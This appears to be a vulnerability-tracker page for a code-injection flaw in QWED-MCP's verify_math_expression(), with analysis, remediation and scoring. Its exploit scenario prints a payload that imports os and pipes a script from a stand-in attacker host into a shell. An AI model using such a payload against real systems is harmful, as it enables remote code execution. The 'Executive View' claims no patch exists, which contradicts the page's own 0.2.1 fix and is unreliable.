Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach integration exposing verify_math_expression()
-
DeliverySubmit malicious math expression string
-
Exploitparse_expr() evals payload with builtins
-
Execution__import__('os').system runs OS command
-
ImpactRCE as qwed-mcp process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a downstream integration or caller that invokes the public verify_math_expression() library API (in src/qwed_mcp/engines/math_engine.py) with attacker-controlled 'expression' or 'claimed_result' strings - the default MCP tool registry does NOT register this function, so an out-of-the-box qwed-mcp server is not directly exploitable. When such a call path exists, no authentication, special configuration, or user interaction is needed (PR:N/UI:N per CVSS), and any string parsed by SymPy's parse_expr() can carry the payload because Python built-ins remain available. The primary limiting factor is reachability: exploitation is entirely gated on whether an integration forwards untrusted input into this function; affected versions are all releases prior to 0.2.1 (v0.2.0 confirmed). |
| Impact | The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H, 9.8) describes the worst case where the function is directly reachable with untrusted network input, and the impact is genuine full RCE. However, the description and advisory both note a crucial limiter: the default MCP tool registry does NOT expose verify_math_expression(), so exploitation requires a downstream integration that deliberately calls the library API with attacker-controlled data. That materially raises attack complexity in practice and argues against treating the raw 9.8 as universally applicable - reachability is deployment-dependent. No EPSS score was provided, and the vulnerability is not in CISA KEV, so there is no evidence of active in-the-wild exploitation; the signal here is publicly available PoC code (in the GHSA advisory) plus vendor-confirmed container exploitation, not confirmed exploitation campaigns. Net: where a caller does pass untrusted input into this function, the outcome is unauthenticated RCE and should be patched urgently; where the function is unreachable, the effective risk is much lower. Because this is a library-level eval() sink, any operator whose integration forwards user data should treat it as high priority even though the deployment footprint is small. |
| Exploit ScenarioDerived | A developer builds an MCP integration that exposes qwed-mcp's math-verification capability to end users and passes a user-submitted 'expression' straight to verify_math_expression(). An attacker submits __import__('os').system('curl attacker/x|sh') as the expression, and SymPy's parse_expr() evaluates it, executing the attacker's OS command as the qwed-mcp process user. A working PoC is published in the GHSA advisory, which confirmed root-level command execution inside a Docker container. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Arbitrary code execution in QWED-MCP before 0.2.1 stems from its verify_math_expression() library function feeding attacker-controlled expression and claimed_result strings into SymPy's parse_expr() with an unrestricted built-in namespace, turning a math-verification routine into a Python eval() sink. Any downstream integration that forwards untrusted input to this public API lets an attacker run OS commands as the qwed-mcp process user (root-level RCE confirmed in a container by the vendor advisory). Publicly available exploit code exists via the GHSA advisory PoC, but this is not listed in CISA KEV; the published CVSS is 9.8 while real reach depends on how the library is wired up.
RemediationAI
Vendor-released patch: 0.2.1 - upgrade the qwed-mcp package to 0.2.1 or later (pip install --upgrade 'qwed-mcp>=0.2.1'), which is the primary and complete fix per the vendor advisory and PR #22 (https://github.com/QWED-AI/qwed-mcp/pull/22, commit 362e618). If you cannot upgrade immediately, stop any downstream integration from routing untrusted input into verify_math_expression(), since the default MCP tool registry does not expose it and removing that call path eliminates the sink at the cost of losing programmatic math-verification; as an additional hardening measure, wrap or replace the parse_expr() call so it runs with global_dict={'__builtins__': {}} and an explicit symbol allowlist, or validate/allowlist the expression AST before evaluation, accepting that overly strict validation may reject legitimate but complex expressions. See GHSA-mw6r-2hvm-4rp2 for details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
QWED-MCP is a deterministic verification gateway for the Model Context Protocol (MCP), written in Python. The flaw (CWE-94, Improper Control of Generation of Code / code injection) lives in src/qwed_mcp/engines/math_engine.py, which calls sympy.parsing.sympy_parser.parse_expr() on user strings after only substituting '^' for '**'. SymPy's parse_expr() ultimately invokes Python's eval(); because the code supplies only a local_dict of math symbols (x, y, z, pi, e) and never sets global_dict={'__builtins__': {}}, Python injects the module's full __builtins__, exposing __import__, open, exec, and eval to the parsed expression. There is no allowlist, AST pre-validation, or sandboxing, so an input like __import__('os').system('...') executes. Affected component per CPE is cpe:2.3:a:qwed-ai:qwed-mcp (PyPI package 'qwed-mcp').
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Full RCE gives C:H/I:H/A:H and no auth (PR:N), but exploitation depends on a non-default downstream integration exposing the function, so AC:H rather than AC:L.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verify_math_expression() in src/qwed_mcp/engines/math_engine.py passes attacker-controlled expression and claimed_result strings directly to SymPy's parse_expr() after only normalizing caret syntax to Python exponent syntax, without restricting global_dict, removing Python built-ins, or validating the expression AST. Because parse_expr() calls Python's eval() with built-ins available, an attacker who can cause a downstream caller to pass untrusted input to this public library function can use Python import functionality to execute arbitrary operating-system commands as the qwed-mcp process user, read or modify accessible data, exfiltrate process secrets, or reach internal services. The default MCP tool registry does not expose verify_math_expression(), so exploitation requires a downstream integration that invokes the library API with attacker-controlled input. This issue is fixed in version 0.2.1.
Articles & Coverage 1
Executive ViewAI
QWED-MCP library before version 0.2.1 contains a critical remote code execution vulnerability that enables arbitrary code execution with root-level privileges on any system integrating this library. Organizations using QWED-MCP in production environments face immediate risk of complete system compromise, with no vendor patch currently available.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable QWED-MCP library functions if not operationally critical, (2) implement strict input validation and sanitization to prevent untrusted expression strings from reaching verify_math_expression(), (3) enforce minimal-privilege execution (do not run affected services as root), (4) network-isolate affected systems from perimeter and sensitive internal assets, (5) enable comprehensive logging and alerting on math-verification function calls to detect exploitation attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-65547
GHSA-mw6r-2hvm-4rp2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB